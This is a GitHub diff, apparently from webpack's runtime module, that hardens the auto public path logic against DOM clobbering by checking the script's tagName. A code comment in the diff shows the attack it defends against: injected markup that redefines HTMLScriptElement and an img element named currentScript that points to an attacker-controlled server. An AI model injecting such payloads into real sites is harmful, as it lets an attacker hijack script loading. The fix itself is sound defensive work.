File tree Expand file tree Collapse file tree 1 file changed +4
-1
lines changed Expand file tree Collapse file tree 1 file changed +4
-1
lines changed Original file line number Diff line number Diff line change @@ -50,7 +50,10 @@ class AutoPublicPathRuntimeModule extends RuntimeModule {
50
50
`var document = ${ RuntimeGlobals . global } .document;` ,
51
51
"if (!scriptUrl && document) {" ,
52
52
Template . indent ( [
53
- "if (document.currentScript)" ,
53
+ // Technically we could use `document.currentScript instanceof window.HTMLScriptElement`,
54
+ // but an attacker could try to inject `<script>HTMLScriptElement = HTMLImageElement</script>`
55
+ // and use `<img name="currentScript" src="https://attacker.controlled.server/"></img>`
56
+ "if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT')" ,
54
57
Template . indent ( "scriptUrl = document.currentScript.src;" ) ,
55
58
"if (!scriptUrl) {" ,
56
59
Template . indent ( [
You can’t perform that action at this time.
0 commit comments